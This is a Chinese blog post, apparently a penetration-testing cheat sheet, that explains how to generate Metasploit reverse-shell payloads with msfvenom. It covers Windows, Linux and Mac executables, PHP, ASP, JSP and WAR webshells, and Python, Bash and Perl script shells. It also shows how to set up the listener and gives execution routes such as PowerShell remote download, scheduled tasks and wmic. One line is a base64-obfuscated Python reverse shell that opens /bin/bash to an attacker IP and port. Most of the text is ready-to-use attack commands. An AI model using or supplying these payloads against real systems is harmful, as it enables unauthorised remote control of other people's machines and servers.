生成msf常用payload

2023-11-08

msf作为一款强大的漏洞检测工具,如何生成适用于msf的payload以及如何利用是使用msf的关键,今天就主要记录一下常用的payload以及如何使用。生成payload使用的工具是MSFVenom,下面看看他的帮助信息。

在kali下可以使用如下命令列出MSFVenom可以生成的payload列表:

msfvenom -l

生成二进制文件

关于二进制文件,主要介绍适用于Windows、linux、mac操作系统的payload生成与利用。

Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho

如何利用

针对这个部分就以Windows为例,使用上面的命令生成一个exe的payload,命令如下:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.128 LPORT=4444 -f exe > shell.exe

复制shell.exe到Windows机器,然后kali下开启msf使用如下命令监听4444端口:

msfconsole

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.88.128

set LPORT  4444

set ExitOnSession false

exploit -j -z

执行完之后在Windows下执行shell.exe,然后结果如图:

在这里既然使用到了在Windows下执行应用程序,我们就大概盘点一下在Windows执行应用程序的几种方式:

  • 双击运行

  • cmd下运行exe

  • 利用Powershell远程下载执行

  • 利用at或schtasks设置计划任务执行

  • 利用wmic远程命令执行

  • 其他的方式请各位补充

生成webshell脚本

在做web渗透的时候,经常会用到webshell,我们经常用的一句话用菜刀连接,如何使用MSFVenom生成一个可以用msf操作的webshell呢?

PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php

cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

如何利用

下面以php为例做一下测试,使用以下命令生成一个webshell:

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.88.128 LPORT=4444 -f raw > shell.php

在kali上使用msf执行下面的命令,监听端口4444:

msfconsole

use exploit/multi/handler

set PAYLOAD php/meterpreter_reverse_tcp

set LHOST 192.168.88.128

set LPORT  4444

set ExitOnSession false

exploit -j -z

将shell.php放在web目录下,使用浏览器访问,或者使用以下命令执行:

php shell.php

脚本shell

关于使用脚本反弹shell的方式,主要以python、bash、perl为例。

Python

msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py

Bash

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh

Perl

msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

如何使用

下面就以Python为例做一下测试,使用以下命令生成一个脚本:

msfvenom -p cmd/unix/reverse_python LHOST=192.168.88.128 LPORT=4444 -f raw > shell.py

在kali上使用msf执行下面的命令,监听端口4444:

msfconsole

use exploit/multi/handler

set PAYLOAD cmd/unix/reverse_python

set LHOST 192.168.88.128

set LPORT  4444

set ExitOnSession false

exploit -j -z

然后复制shell.py中的内容在linux命令行下执行,如下:

python -c "exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zICAgICAgOyAgICBob3N0PSIxOTIuMTY4Ljg4LjEyOCIgICAgICA7ICAgIHBvcnQ9NDQ0NCAgICAgIDsgICAgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkgICAgICA7ICAgIHMuY29ubmVjdCgoaG9zdCxwb3J0KSkgICAgICA7ICAgIG9zLmR1cDIocy5maWxlbm8oKSwwKSAgICAgIDsgICAgb3MuZHVwMihzLmZpbGVubygpLDEpICAgICAgOyAgICBvcy5kdXAyKHMuZmlsZW5vKCksMikgICAgICA7ICAgIHA9c3VicHJvY2Vzcy5jYWxsKCIvYmluL2Jhc2giKQ=='.decode('base64'))"

结果如图:

总结

本文的主要内容是关于使用msfvenom生成常用的反向连接的shell,msfvenom可以生成的shell很多,不可能一一列举,这里只是提一下,不好意思又给大家分享了一个水文,请大家凑活看看,有什么建议和意见请下方留言。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

生成msf常用payload 的相关文章

  • java的反射

    一 反射的定义 基于 JDK8 Oracle官网对反射的解释是本文基于 JDK8 Oracle官网对反射的解释是 反射使 Java 代码可以发现有关已加载类的字段 方法和构造函数的信息 并在安全性限制内使用反射对这些字段 方法和构造函数进行

随机推荐

  • 熵,信息熵,香农熵,微分熵,交叉熵,相对熵

    2019 07 13 https blog csdn net landstream article details 82383503 https blog csdn net pipisorry article details 5169528
  • Java 实现二分法查找

    二分法 public class BinarySearch public static void main String args int array 1 5 8 11 19 22 31 35 40 45 48 49 50 int targ
  • Java面向对象,你真的会用吗?

    就在今天 自己写的一个C 项目 同事说用面向对象的思想写比较好 其实面向对象思想 感觉这个东西谁不知道啊 但是 确实这个程序没有使用 使用的好处是什么呢 又要如何使用呢 这是很值得思考的问题 面向对象简称OO Object Oriented
  • OpenWrt的学习和总结

    OpenWrt的学习和总结 内容目录 1OpenWrt背景知识 2 2OpenWrt 基础知识 2 2 1目录结构 2 2 2扩展软件包feeds 3 2 3OpenWrt SDK 4 2 4固件升级 8 3OpenWrt内部机制 8 3
  • c++涉及继承和虚继承时的内存布局

    原文地址 c 涉及继承和虚继承时的内存布局 作者 风箫夜吟 今天是清明节假期的第二天 天气阴沉 无心于游玩 遂决定宅于实验室 现在来说每天拜读一下大牛的博客已成生活中不可或缺之乐趣 但是俗话说的好 光说不练假把式 今天拜读了浩哥的博客 感触
  • java中filereader使用

    package dadeo import java io FileNotFoundException import java io FileReader import java io FileWriter import java io IO
  • jmeter压测监控服务器

    安装步骤可参考 Windows https www cnblogs com zjn 20161215 p 8652623 html Linux https blog csdn net liuqiuxiu article details 10
  • springboot集成zipkin

    1 下载zipkin 的jar 后台启动 比如127 0 0 1 9411 2 所有的springboot项目 pom xml添加依赖
  • 笔记——输出信息

    Input sensor was set to Monocular Loading ORB Vocabulary This could take a while Vocabulary loaded Camera Parameters fx
  • SpringBoot启动时忽略某些自动配置类

    SpringBoot启动时忽略某些自动配置类 最近业务要求对接数据 需要连接第三方的数据库 但是他们的都是内网 只能通过前置机上部署我们的项目 由于 我们与第三方对接的处理都写在单独的服务里 如果来一个第三方 单独再写一个服务会很麻烦 不好
  • OpenGL 学习笔记(四) 基础纹理

    一 载入纹理 1 从磁盘中载入Targa 文件 GLbyte gltReadTGABits const szFileName GLint iWidth GLint iHeight GLint iComponents GLenum eForm
  • 实测—fft IP核使用(包括ifft的配置使用)

    Vivado xilinx fft9 0 使用笔记 注 仿真实测1024点的转换需要经过1148个时钟周期才能得到转换结果 模块配置信号含义请参考pg109文档手册 写的贼烂会看晕 不详细说明 一 查找fft IP核按如下几图配置可实现正确
  • Model checking Part I

    Model Checking 文章目录 Model Checking 序言 可靠系统开发过程中的主要挑战 设计验证问题 design validation 现有实践方法 模拟和测试 simulation and tesing 本书主题 取代
  • 想去BAT、美团、京东和字节面试?那你必须懂他们的面试套路!

    V xin ruyuanhadeng获得600 页原创精品文章汇总PDF 目录 面试官为啥要出这样一个开放式问题 生产消费模型及核心数据结构 支撑TB级数据写入的分布式架构 数据宕机场景下的高可用架构 支持数据不丢失的ack机制 最后的总结
  • 加密算法md5、AES、RSA、Base64的区别

    1 md5 不可逆的 即只能加密不能解密 只能加密字符串 var md5 require utils md5 js var sign md5 这是我要加密的内容 2 AES 与MD5类似 主要区别可逆 能加密也能解密 加密解密用同一把钥匙
  • ES模块化语法

    封装一个工具js文件 一 单个导出 定义utils js 方式 一 export function set console log set export function get console log get 方式 二 function
  • 双向BiGRU做多输入单输出预测模型,直接替换数据就可以用

    双向BiGRU做多输入单输出预测模型 直接替换数据就可以用 程序语言是matlab 需求最低版本为2020及以上 程序可以出真实值和预测值对比图 线性拟合图 可打印多种评价指标 PS 以下效果图为测试数据的效果图 主要目的是为了显示程序运行
  • Linking CXX shared library .....so FAILED

    Executing tasks clean smartcropperlib assembleDebug app assembleDebug clean UP TO DATE app clean smartcropperlib externa
  • 3ds Max 2019 Essential Training 3ds Max 2019基本培训 Lynda课程中文字幕

    3ds Max 2019 Essential Training 中文字幕 3ds Max 2019基本培训 中文字幕3ds Max 2019 Essential Training 3ds Max以其建模和渲染工具而闻名 这些优势在建筑 制造
  • 生成msf常用payload

    msf作为一款强大的漏洞检测工具 如何生成适用于msf的payload以及如何利用是使用msf的关键 今天就主要记录一下常用的payload以及如何使用 生成payload使用的工具是MSFVenom 下面看看他的帮助信息 在kali下可以